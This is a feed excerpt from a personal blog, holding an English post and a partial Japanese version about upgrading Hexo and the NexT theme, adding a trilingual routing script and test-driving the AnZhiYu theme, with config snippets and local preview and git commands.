    <category term="NexT" scheme="https://misaka10013.cn/tags/NexT/"/>
    <category term="Blog Upgrade" scheme="https://misaka10013.cn/tags/Blog-Upgrade/"/>
    <category term="Multilingual" scheme="https://misaka10013.cn/tags/Multilingual/"/>
    <category term="AnZhiYu" scheme="https://misaka10013.cn/tags/AnZhiYu/"/>
    <content>
      <![CDATA[<h2 id="1-Background-Motivation"><a href="#1-Background-Motivation" class="headerlink" title="1. Background &amp; Motivation"></a>1. Background &amp; Motivation</h2><p>My blog (misaka10013.cn) has been running on Hexo 4.2.0 + NexT 6.0.0 since it was first launched — six years without touching the framework. Every time I recently asked an AI to help add a feature or tweak a page, it complained that my versions were too old: outdated dependencies, incompatible plugins, even the config syntax has changed. I should have upgraded long ago, but I kept putting it off.</p><p>Lately I’ve had a few new ideas:</p><p><strong>1. Multilingual support.</strong> I wanted Chinese, English and Japanese versions of the site — first, to practice foreign languages by reading my own posts in different languages; second, for SEO. My posts are hard to find no matter where the search happens, and localized versions are friendlier to search engines.</p><p><strong>2. A new theme.</strong> I had my eye on the AnZhiYu theme — rich colors, rounded cards, gradient animations, the exact opposite of NexT’s minimalist “indifferent” style. Since I had to change things anyway, why not jump straight to the latest versions and solve everything at once?</p><h2 id="2-Framework-Upgrade-Hexo-4→8-NexT-6→8"><a href="#2-Framework-Upgrade-Hexo-4→8-NexT-6→8" class="headerlink" title="2. Framework Upgrade (Hexo 4→8 + NexT 6→8)"></a>2. Framework Upgrade (Hexo 4→8 + NexT 6→8)</h2><h3 id="Overall-Plan"><a href="#Overall-Plan" class="headerlink" title="Overall Plan"></a>Overall Plan</h3><p>After an initial discussion with the AI and a review of the blog’s current state, we settled on an execution plan: create a <code>next8</code> branch off <code>master</code>, do the upgrade, theme migration, feature porting and multilingual development all on the branch, and only merge back to <code>master</code> for production once everything passes testing. The live site keeps running the old version throughout, completely unaffected.</p><h3 id="Division-of-Labor"><a href="#Division-of-Labor" class="headerlink" title="Division of Labor"></a>Division of Labor</h3><ul><li><strong>Me (Misaka)</strong>: defining the plan, reviewing each step, making the final calls</li><li><strong>AI</strong>: doing the actual work, assessing impact, reporting pitfalls</li></ul><h3 id="Upgrade-Checklist"><a href="#Upgrade-Checklist" class="headerlink" title="Upgrade Checklist"></a>Upgrade Checklist</h3><table><thead><tr><th>Item</th><th>Old version</th><th>New version</th></tr></thead><tbody><tr><td>Hexo</td><td>4.2.0</td><td>8.1.2</td></tr><tr><td>NexT</td><td>6.0.0 (git clone)</td><td>8.29.0 (npm package)</td></tr><tr><td>Node.js</td><td>16.x</td><td>22.22.2</td></tr><tr><td>Deployment</td><td>CNB cloud build</td><td>Same (node:18→node:22)</td></tr></tbody></table><h2 id="3-The-Multilingual-Approach"><a href="#3-The-Multilingual-Approach" class="headerlink" title="3. The Multilingual Approach"></a>3. The Multilingual Approach</h2><h3 id="Aligning-Requirements"><a href="#Aligning-Requirements" class="headerlink" title="Aligning Requirements"></a>Aligning Requirements</h3><p>Working with an AI means aligning on the right level of detail. I had the AI propose concrete implementation methods for my rough requirements, then used a Socratic approach — it kept asking me questions until the requirements were fully pinned down:</p><ol><li>Trilingual UI (CN&#x2F;EN&#x2F;JA) — ✅ required</li><li>Language switcher always visible in the sidebar across the site — ✅ required</li><li>Each language home page shows only that language’s posts — ✅ required</li><li>Post pages: has translation → jump; no translation → button disabled + in-post notice — ✅ compromise</li><li>Translation is the user’s job; AI only builds the framework — ✅ clear</li><li>Empty Japanese site initially is acceptable — ✅ accepted</li></ol><h3 id="Final-Approach-Single-Build-Thin-Script"><a href="#Final-Approach-Single-Build-Thin-Script" class="headerlink" title="Final Approach: Single Build + Thin Script"></a>Final Approach: Single Build + Thin Script</h3><p>The final approach is a single build plus one <code>scripts/i18n-blog.js</code> that handles all the logic.</p><h4 id="1-Translated-Post-Routing-the-post-permalink-Filter-priority-9"><a href="#1-Translated-Post-Routing-the-post-permalink-Filter-priority-9" class="headerlink" title="1. Translated Post Routing: the post_permalink Filter (priority 9)"></a>1. Translated Post Routing: the <code>post_permalink</code> Filter (priority 9)</h4><ul><li><strong>Problem</strong>: by default every post shares the same URL structure, so language versions can’t be distinguished.</li><li><strong>Approach</strong>: intercept and rewrite the permalink when Hexo generates it.<ul><li>Default-language posts (e.g. <code>zh-CN</code>) keep their original path, e.g. <code>/p/xxx.html</code>.</li><li>Translated posts (e.g. <code>en</code>) are forced to <code>/en/p/xxx.html</code>.</li></ul></li></ul><p>Result: each language version of a post gets an <strong>independent, clean URL</strong>, which helps SEO and makes language switching straightforward.</p><h4 id="2-Language-Specific-Listing-Pages-Overriding-the-index-archive-category-tag-Generators"><a href="#2-Language-Specific-Listing-Pages-Overriding-the-index-archive-category-tag-Generators" class="headerlink" title="2. Language-Specific Listing Pages: Overriding the index / archive / category / tag Generators"></a>2. Language-Specific Listing Pages: Overriding the <code>index / archive / category / tag</code> Generators</h4><ul><li><strong>Problem</strong>: Hexo’s default generators mix all posts together for the index and archives, so they can’t be separated by language.</li><li><strong>Approach</strong>:<ul><li>Rewrite the generator logic.</li><li>For each language, generate that language’s <strong>home, archives, categories and tags pages</strong>.</li><li><strong>Filter to only that language’s posts</strong> when generating.</li><li>If a language has no posts, generate a <strong>placeholder page</strong> instead of returning 404.</li></ul></li></ul><p>Result:</p><ul><li>Each language site has its own home page and content listings, completely independent.</li><li>Visiting <code>/en/</code> shows a placeholder instead of an empty-page error — a much better experience.</li></ul><h4 id="3-1-Language-Switcher-Select-Dropdown-In-Post-Language-Banner"><a href="#3-1-Language-Switcher-Select-Dropdown-In-Post-Language-Banner" class="headerlink" title="3.1 Language Switcher (Select Dropdown) &amp; In-Post Language Banner"></a>3.1 Language Switcher (Select Dropdown) &amp; In-Post Language Banner</h4><ul><li><p>The script analyzes whether the <strong>current page</strong> has versions in other languages.</p></li><li><p><strong>Has translation</strong>: the switch option is highlighted&#x2F;clickable and points to the correct translated URL.</p></li><li><p><strong>No translation</strong>: the option is grayed out (<code>disabled</code>) with a <code>title</code> tooltip like “This post has no English version yet”.</p></li><li><p>When other language versions exist, a notice banner is inserted at the top of the post body.</p></li><li><p>E.g.: “This post also has an English version: English Version”</p></li><li><p>On the English page it shows: “The Chinese original of this post: 中文原文”</p></li></ul><p>Result: language switching is driven entirely by <strong>whether the content actually exists</strong>, so users never land on a missing page — a much smarter interaction.</p><h4 id="4-Core-Implementation-the-i18n-map-Generator"><a href="#4-Core-Implementation-the-i18n-map-Generator" class="headerlink" title="4. Core Implementation: the i18n_map Generator"></a>4. Core Implementation: the <code>i18n_map</code> Generator</h4><ul><li><strong>Problem</strong>: the frontend JS needs a dictionary for instant language jumps.</li><li><strong>Approach</strong>: additionally generate a static JS file at build time: <code>/js/i18n-map.js</code>.</li></ul><p>It contains a mapping table, e.g.:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">I18N_MAP</span> = &#123;</span><br><span class="line">  <span class="string">&quot;my-post&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;zh-CN&quot;</span>: <span class="string">&quot;/p/my-post.html&quot;</span>,</span><br><span class="line">    <span class="string">&quot;en&quot;</span>: <span class="string">&quot;/en/p/my-post.html&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>Result: this data links each post’s unique ID (<code>abbrlink</code>) to the routes of all its language versions. The frontend reads the table directly for instant switching — no server round-trip needed, faster response.</p><h4 id="5-Overall-Workflow"><a href="#5-Overall-Workflow" class="headerlink" title="5. Overall Workflow"></a>5. Overall Workflow</h4><p>With this script orchestrating, Hexo’s build order is:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    A[Build starts] --&gt; B[Step 1: Fix translated permalinks]</span><br><span class="line">    B --&gt; C[Step 2: Generate per-language listing pages]</span><br><span class="line">    C --&gt; D[Step 3: Inject switcher logic &amp; translation banners]</span><br><span class="line">    B --&gt; E[Step 4: Generate frontend language map i18n-map.js]</span><br><span class="line">    D --&gt; F[Static site generated]</span><br><span class="line">    E --&gt; F</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">Stage</th><th align="left">Technique</th><th align="left">Output</th><th align="left">Frontend result</th></tr></thead><tbody><tr><td align="left">Routing</td><td align="left"><code>post_permalink</code> filter</td><td align="left">Per-language post URLs</td><td align="left">Clean URL structure</td></tr><tr><td align="left">Listing</td><td align="left">Override 4 generators</td><td align="left">Per-language home&#x2F;archives&#x2F;categories&#x2F;tags</td><td align="left">Content isolated by language, no 404s</td></tr><tr><td align="left">Page decoration</td><td align="left"><code>after_render:html</code></td><td align="left">Modified HTML</td><td align="left">Smart switcher + translation banner</td></tr><tr><td align="left">Data layer</td><td align="left"><code>i18n_map</code> generator</td><td align="left"><code>/js/i18n-map.js</code></td><td align="left">Frontend routing dictionary</td></tr></tbody></table><h3 id="Translation-Workflow-my-process-going-forward"><a href="#Translation-Workflow-my-process-going-forward" class="headerlink" title="Translation Workflow (my process going forward)"></a>Translation Workflow (my process going forward)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AI drafts the translation → I refine it → save to source/_posts/en/</span><br><span class="line">→ front-matter: lang: en + the same abbrlink as the original</span><br><span class="line">→ verify in local preview → git push to production</span><br></pre></td></tr></table></figure><h3 id="Switcher-Interaction-Logic"><a href="#Switcher-Interaction-Logic" class="headerlink" title="Switcher Interaction Logic"></a>Switcher Interaction Logic</h3><table><thead><tr><th>Scenario</th><th>Behavior</th></tr></thead><tbody><tr><td>Post has a CN&#x2F;EN&#x2F;JA version</td><td>Clickable, jumps to that language version</td></tr><tr><td>Post has no version in that language</td><td>Button grayed out&#x2F;disabled, hover tooltip “This post has no version in that language”</td></tr><tr><td>Post has other language versions</td><td>Banner at top: “🌐 This post also has other language versions: English”</td></tr><tr><td>Language site home page</td><td>Shows only that language’s posts</td></tr></tbody></table><h2 id="4-Theme-Test-Drive-AnZhiYu"><a href="#4-Theme-Test-Drive-AnZhiYu" class="headerlink" title="4. Theme Test Drive (AnZhiYu)"></a>4. Theme Test Drive (AnZhiYu)</h2><h3 id="Zero-Contamination-Coexistence"><a href="#Zero-Contamination-Coexistence" class="headerlink" title="Zero-Contamination Coexistence"></a>Zero-Contamination Coexistence</h3><p>Without touching the existing NexT config, I ran two local servers in parallel, so I could gradually migrate the old theme’s custom settings based on what each page needs:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Port 4100 → NexT theme (hexo server -p 4100)</span><br><span class="line">Port 4200 → AnZhiYu theme (hexo server --config &quot;_config.yml,_config.anzhiyu_test.yml&quot; -p 4200)</span><br></pre></td></tr></table></figure><p><code>_config.anzhiyu_test.yml</code> switches themes with a single line of config, so I can flip back to the minimalist style any time:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">theme:</span> <span class="string">anzhiyu</span></span><br></pre></td></tr></table></figure><p>At startup Hexo merges the two config files; AnZhiYu overrides the <code>theme</code> field while everything else (posts, the i18n script, etc.) is shared from the main config.</p><h3 id="AnZhiYu-Config-System"><a href="#AnZhiYu-Config-System" class="headerlink" title="AnZhiYu Config System"></a>AnZhiYu Config System</h3><p><strong>Important:</strong> all AnZhiYu settings live in <code>_config.anzhiyu.yml</code> at the blog root — never touch files inside <code>themes/anzhiyu/</code>.</p><h3 id="Feature-Migration-Checklist"><a href="#Feature-Migration-Checklist" class="headerlink" title="Feature Migration Checklist"></a>Feature Migration Checklist</h3><p>A migration list for the old blog’s custom features — some carried over to the new theme, some dropped.</p><table><thead><tr><th>Feature</th><th>Status on AnZhiYu</th><th>Notes</th></tr></thead><tbody><tr><td>Live2D mascot</td><td>✅ Kept</td><td>Inject autoload.js; music player moved to top-left to make room</td></tr><tr><td>Language switcher</td><td>✅ Ported</td><td>Injected into the right-side floating bar; same disabled&#x2F;clickable logic</td></tr><tr><td>Copy button</td><td>❌ Dropped</td><td>The new theme has its own</td></tr><tr><td>Crash fake-out</td><td>❌ Dropped</td><td>The new theme offers other forms</td></tr><tr><td>Reading progress</td><td>❌ Dropped</td><td>The new theme has its own</td></tr><tr><td>Comments&#x2F;friend links&#x2F;menu</td><td>Migrating manually</td><td>Moving item by item from the NexT config</td></tr></tbody></table><h2 id="5-Current-Config-Operations-Guide"><a href="#5-Current-Config-Operations-Guide" class="headerlink" title="5. Current Config &amp; Operations Guide"></a>5. Current Config &amp; Operations Guide</h2><h3 id="Multilingual-Config"><a href="#Multilingual-Config" class="headerlink" title="Multilingual Config"></a>Multilingual Config</h3><p>Edit these fields in <code>_config.yml</code>:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Language order: the first one is the default (Chinese)</span></span><br><span class="line"><span class="attr">language:</span> [<span class="string">zh-CN</span>, <span class="string">en</span>, <span class="string">ja</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># Multilingual plugin config</span></span><br><span class="line"><span class="attr">i18n_blog:</span></span><br><span class="line">  <span class="attr">default_language:</span> <span class="string">zh-CN</span>     <span class="comment"># default language</span></span><br><span class="line">  <span class="attr">langs:</span> [<span class="string">en</span>, <span class="string">ja</span>]             <span class="comment"># other enabled languages</span></span><br></pre></td></tr></table></figure><h3 id="Writing-a-New-Post"><a href="#Writing-a-New-Post" class="headerlink" title="Writing a New Post"></a>Writing a New Post</h3><p><strong>Chinese post (default language):</strong></p><p>Location: <code>source/_posts/</code><br>Example: <code>source/_posts/我的新文章.md</code></p><p>front-matter example:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">我的新文章</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p>No <code>lang</code> field needed; <code>abbrlink</code> is auto-generated at build time.</p><p><strong>English translation (requires the Chinese original):</strong></p><p>Location: <code>source/_posts/en/</code><br>Example: <code>source/_posts/en/my-new-article.md</code></p><p>front-matter example:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">My</span> <span class="string">New</span> <span class="string">Article</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">Tech</span> <span class="string">Notes</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="attr">lang:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">abbrlink:</span> <span class="number">12345678</span>    <span class="comment"># the same abbrlink as the Chinese version</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><strong>Key:</strong> <code>lang: en</code> is required, and <code>abbrlink</code> must match the Chinese original.</p><p><strong>Japanese post (empty site for now; add when translated):</strong></p><p>Location: <code>source/_posts/ja/</code><br>front-matter needs <code>lang: ja</code> + the same <code>abbrlink</code>.</p><h3 id="Local-Preview"><a href="#Local-Preview" class="headerlink" title="Local Preview"></a>Local Preview</h3><p><strong>NexT theme (port 4100):</strong></p><p>Run in the blog root:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server -p 4100</span><br></pre></td></tr></table></figure><p>Visit <a href="http://localhost:4100/">http://localhost:4100</a></p><p><strong>AnZhiYu theme (port 4200):</strong></p><p>Run in the blog root:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server --config <span class="string">&quot;_config.yml,_config.anzhiyu_test.yml&quot;</span> -p 4200</span><br></pre></td></tr></table></figure><p>Visit <a href="http://localhost:4200/">http://localhost:4200</a></p><p><strong>Note:</strong> after changing <code>_config.anzhiyu.yml</code> or files under <code>source/css/</code> etc., restart the server to apply. Press <code>Ctrl+C</code> to stop, then re-run the command above.</p><h3 id="Publishing"><a href="#Publishing" class="headerlink" title="Publishing"></a>Publishing</h3><p>CNB cloud-native build: pushing to <code>master</code> auto-deploys. No local <code>hexo g</code> needed.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">git add -A</span><br><span class="line">git commit -m <span class="string">&quot;update&quot;</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></table></figure><p><strong>Note:</strong> git push inside the sandbox fails with credential errors — run the commands above in a local terminal (cmd&#x2F;PowerShell).</p><h3 id="Previewing-During-Config-Migration"><a href="#Previewing-During-Config-Migration" class="headerlink" title="Previewing During Config Migration"></a>Previewing During Config Migration</h3><p>The live site is still on NexT. The AnZhiYu test-drive config lives in the following files, not yet committed to master:</p><table><thead><tr><th>File</th><th>Description</th></tr></thead><tbody><tr><td><code>_config.anzhiyu.yml</code></td><td>AnZhiYu override config (1342 lines)</td></tr><tr><td><code>_config.anzhiyu_test.yml</code></td><td>Test-drive switch (single line: <code>theme: anzhiyu</code>)</td></tr><tr><td><code>source/css/anzhiyu-custom.css</code></td><td>AnZhiYu-specific CSS</td></tr><tr><td><code>source/js/i18n-switcher.js</code></td><td>Language switcher button JS</td></tr><tr><td><code>themes/anzhiyu/</code></td><td>The AnZhiYu theme itself</td></tr></tbody></table><p>Once I finish migrating the menu, friend links, comments and other configs, I’ll decide whether to make AnZhiYu the production theme.</p><h2 id="6-TODO-Outlook"><a href="#6-TODO-Outlook" class="headerlink" title="6. TODO &amp; Outlook"></a>6. TODO &amp; Outlook</h2><ul><li><strong>SEO work</strong>: hreflang alternates, multilingual sitemap entries, robots.txt — searching “misaka10013” currently surfaces GitHub first; the blog’s visibility needs work</li><li><strong>Translating key posts</strong>: pick important posts, AI drafts, I refine, gradually enriching the English site</li><li><strong>AnZhiYu goes live</strong>: decide whether to switch once config migration is done</li><li><strong>OSS key rotation</strong>: the plaintext keys in the deploy section are in git history — rotation recommended</li></ul>]]>
    </content>
    <id>https://misaka10013.cn/en/p/913761649.html</id>
    <link href="https://misaka10013.cn/en/p/913761649.html"/>
    <published>2026-08-28T09:20:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="1-Background-Motivation"><a href="#1-Background-Motivation" class="headerlink" title="1. Background &amp; Motivation"></a>1. Background &amp; Motivation</h2><p>My blog (misaka10013.cn) has been running on Hexo 4.2.0 + NexT 6.0.0 since it was first launched — six years without touching the framework. Every time I recently asked an AI to help add a feature or tweak a page, it complained that my versions were too old: outdated dependencies, incompatible plugins, even the config syntax has changed. I should have upgraded long ago, but I kept putting it off.</p>
<p>Lately I’ve had a few new ideas:</p>]]>
    </summary>
    <title>
      <![CDATA[Hexo Upgrade Journey: Six Years Later & Multilingual Support]]>
    </title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="https://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Hexo" scheme="https://misaka10013.cn/tags/Hexo/"/>
    <category term="NexT" scheme="https://misaka10013.cn/tags/NexT/"/>
    <category term="AnZhiYu" scheme="https://misaka10013.cn/tags/AnZhiYu/"/>
    <category term="ブログアップグレード" scheme="https://misaka10013.cn/tags/%E3%83%96%E3%83%AD%E3%82%B0%E3%82%A2%E3%83%83%E3%83%97%E3%82%B0%E3%83%AC%E3%83%BC%E3%83%89/"/>
    <category term="多言語" scheme="https://misaka10013.cn/tags/%E5%A4%9A%E8%A8%80%E8%AA%9E/"/>
    <content>
      <![CDATA[<h2 id="一、背景と動機"><a href="#一、背景と動機" class="headerlink" title="一、背景と動機"></a>一、背景と動機</h2><p>私のブログ（misaka10013.cn）は開設以来ずっと Hexo 4.2.0 + NexT 6.0.0 で、6年間フレームワークに触っていなかった。最近新しい機能を追加したりページを調整しようと、AI に作業を依頼するたびに「バージョンが古すぎる」と言われた——依存関係が時代遅れ、プラグインが非互換、設定構文も変わっている。そろそろ上げるべきだと分かっていながら、ずっと後回しにしていた。</p><p>最近、主にいくつか新しいアイデアがある：</p><p><strong>1. 多言語対応。</strong> 中英日の3言語を追加したい——一つは外国語の練習。自分の書いた記事を言語を切り替えて読み直す。もう一つは SEO の問題。国内外問わず、私のブログ記事は検索されにくく、多言語版は検索エンジンにとってよりフレンドリー。</p><p><strong>2. 新しいテーマを試したい。</strong> 安知鱼（AnZhiYu）テーマに目をつけた。色が豊かで、角丸カード、グラデーションアニメーションなど、NexT のミニマルな「無関心」スタイルとは正反対。どうせ変えるなら、いっそ最新バージョンまで一気に上げてしまおう。</p><h2 id="二、フレームワークアップグレード（Hexo-4→8-NexT-6→8）"><a href="#二、フレームワークアップグレード（Hexo-4→8-NexT-6→8）" class="headerlink" title="二、フレームワークアップグレード（Hexo 4→8 + NexT 6→8）"></a>二、フレームワークアップグレード（Hexo 4→8 + NexT 6→8）</h2><h3 id="全体方針"><a href="#全体方針" class="headerlink" title="全体方針"></a>全体方針</h3><p>AI との初回の打ち合わせとブログの現状確認を経て、実行計画を決めた。<code>master</code> ブランチから <code>next8</code> ブランチを切り、ブランチ上でアップグレード・テーマ移行・機能移植・多言語開発をすべて行い、テストが全部通ってから <code>master</code> にマージして公開する。その間、本番で動いている旧バージョンには一切影響しない。</p><h3 id="分担"><a href="#分担" class="headerlink" title="分担"></a>分担</h3><ul><li><strong>私（御坂）</strong>：方針決定、手順の確認、最終判断</li><li><strong>AI</strong>：具体的な実行、影響評価、落とし穴の報告</li></ul><h3 id="アップグレード一覧"><a href="#アップグレード一覧" class="headerlink" title="アップグレード一覧"></a>アップグレード一覧</h3><table><thead><tr><th>項目</th><th>旧バージョン</th><th>新バージョン</th></tr></thead><tbody><tr><td>Hexo</td><td>4.2.0</td><td>8.1.2</td></tr><tr><td>NexT</td><td>6.0.0（git clone）</td><td>8.29.0（npm パッケージ）</td></tr><tr><td>Node.js</td><td>16.x</td><td>22.22.2</td></tr><tr><td>デプロイ</td><td>CNB クラウドビルド</td><td>同上（node:18→node:22 に変更）</td></tr></tbody></table><h2 id="三、多言語の仕組み"><a href="#三、多言語の仕組み" class="headerlink" title="三、多言語の仕組み"></a>三、多言語の仕組み</h2><h3 id="要件のすり合わせ"><a href="#要件のすり合わせ" class="headerlink" title="要件のすり合わせ"></a>要件のすり合わせ</h3><p>AI と協働する以上、要件の粒度を合わせる必要がある。まず AI にざっくりした要件から具体的な実装方法を出してもらい、その後ソクラテス式に質問を繰り返して、要件を徐々に固めていった：</p><ol><li>3言語 UI（中英日）——✅ 必須</li><li>サイト全体でサイドバーに常駐する言語切り替えボタン——✅ 必須</li><li>各言語サイトのトップページはその言語の記事のみ表示——✅ 必須</li><li>記事ページ：翻訳あり→ジャンプ、翻訳なし→ボタン無効化＋記事内の案内表示——✅ 折衷案</li><li>翻訳はユーザーの仕事、AI はフレームワークのみ——✅ 明確化</li><li>日本語サイトは初期は空でも可——✅ 承諾</li></ol><h3 id="最終方針：単一ビルド-薄いスクリプト"><a href="#最終方針：単一ビルド-薄いスクリプト" class="headerlink" title="最終方針：単一ビルド + 薄いスクリプト"></a>最終方針：単一ビルド + 薄いスクリプト</h3><p>最終的には、単一ビルド + <code>scripts/i18n-blog.js</code> 1本で全ロジックを実現した。</p><h4 id="1-翻訳記事のルーティング：post-permalink-フィルター（優先度-9）"><a href="#1-翻訳記事のルーティング：post-permalink-フィルター（優先度-9）" class="headerlink" title="1. 翻訳記事のルーティング：post_permalink フィルター（優先度 9）"></a>1. 翻訳記事のルーティング：<code>post_permalink</code> フィルター（優先度 9）</h4><ul><li><strong>解決する問題</strong>：デフォルトでは全記事が同じ URL 構造になり、言語バージョンを区別できない。</li><li><strong>スクリプトのやり方</strong>：Hexo が記事のパーマリンクを生成する時に横取りして書き換える。<ul><li>デフォルト言語（例：<code>zh-CN</code>）の記事は元のパスを維持（例：<code>/p/xxx.html</code>）。</li><li>翻訳記事（例：<code>en</code>）は強制的に <code>/en/p/xxx.html</code> に書き換える。</li></ul></li></ul><p>効果：同じ記事の異なる言語版が<strong>独立した整然とした URL</strong> を持ち、SEO と切り替えジャンプに有利。</p><h4 id="2-言語ごとの独立リストページ生成：index-archive-category-tag-ジェネレーターのオーバーライド"><a href="#2-言語ごとの独立リストページ生成：index-archive-category-tag-ジェネレーターのオーバーライド" class="headerlink" title="2. 言語ごとの独立リストページ生成：index / archive / category / tag ジェネレーターのオーバーライド"></a>2. 言語ごとの独立リストページ生成：<code>index / archive / category / tag</code> ジェネレーターのオーバーライド</h4><ul><li><strong>解決する問題</strong>：Hexo のデフォルトジェネレーターは全記事を混ぜてインデックスとアーカイブを生成するため、言語で分けられない。</li><li><strong>スクリプトのやり方</strong>：<ul><li>これらのジェネレーターのロジックを書き換える。</li><li>言語ごとに、その言語の<strong>トップ・アーカイブ・カテゴリ・タグ</strong>ページを生成する。</li><li>生成時は<strong>その言語の記事のみをフィルタリング</strong>する。</li><li>該当言語に記事が1件もない場合は、404 を返さず<strong>プレースホルダーページ</strong>を生成する。</li></ul></li></ul><p>効果：</p><ul><li>各言語サイトが自分専用のトップページと一覧を持ち、互いに干渉しない。</li><li><code>/en/</code> にアクセスすると少なくともプレースホルダーが表示され、空ページエラーが出ない。ユーザー体験がより丁寧。</li></ul><h4 id="3-1-言語切り替え（Select-ドロップダウン）と記事内の言語バナーの挿入"><a href="#3-1-言語切り替え（Select-ドロップダウン）と記事内の言語バナーの挿入" class="headerlink" title="3.1 言語切り替え（Select ドロップダウン）と記事内の言語バナーの挿入"></a>3.1 言語切り替え（Select ドロップダウン）と記事内の言語バナーの挿入</h4><ul><li><p>スクリプトが<strong>現在のページ</strong>に他言語バージョンが存在するかを分析する。</p></li><li><p><strong>翻訳あり</strong>：切り替えオプションがハイライト&#x2F;クリック可能になり、正しい翻訳 URL を指す。</p></li><li><p><strong>翻訳なし</strong>：切り替えオプションをグレーアウト（<code>disabled</code>）し、<code>title</code> 属性で「この記事には英語版がありません」等を表示する。</p></li><li><p>記事に他言語バージョンが存在する場合、記事本文の先頭に案内バナーを挿入する。</p></li><li><p>例：「本文の英語版：English Version」</p></li><li><p>英語版の場合は「この記事の中国語版：中文原文」と表示する。</p></li></ul><p>効果：ページ上の言語切り替えは<strong>実際にコンテンツが存在するかどうか</strong>で完全に決定される。存在しないページへのジャンプを防ぎ、インタラクション体験が非常にスマート。</p><h4 id="4-中核実装：i18n-map-ジェネレーター"><a href="#4-中核実装：i18n-map-ジェネレーター" class="headerlink" title="4. 中核実装：i18n_map ジェネレーター"></a>4. 中核実装：<code>i18n_map</code> ジェネレーター</h4><ul><li><strong>解決する問題</strong>：フロントエンド JS が言語ジャンプを高速に行うための辞書が必要。</li><li><strong>スクリプトのやり方</strong>：ビルド時に静的 JS ファイル <code>/js/i18n-map.js</code> を追加生成する。</li></ul><p>このファイルにはマッピングテーブルが含まれる。例：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">I18N_MAP</span> = &#123;</span><br><span class="line">  <span class="string">&quot;my-post&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;zh-CN&quot;</span>: <span class="string">&quot;/p/my-post.html&quot;</span>,</span><br><span class="line">    <span class="string">&quot;en&quot;</span>: <span class="string">&quot;/en/p/my-post.html&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>効果：このデータが各記事の一意 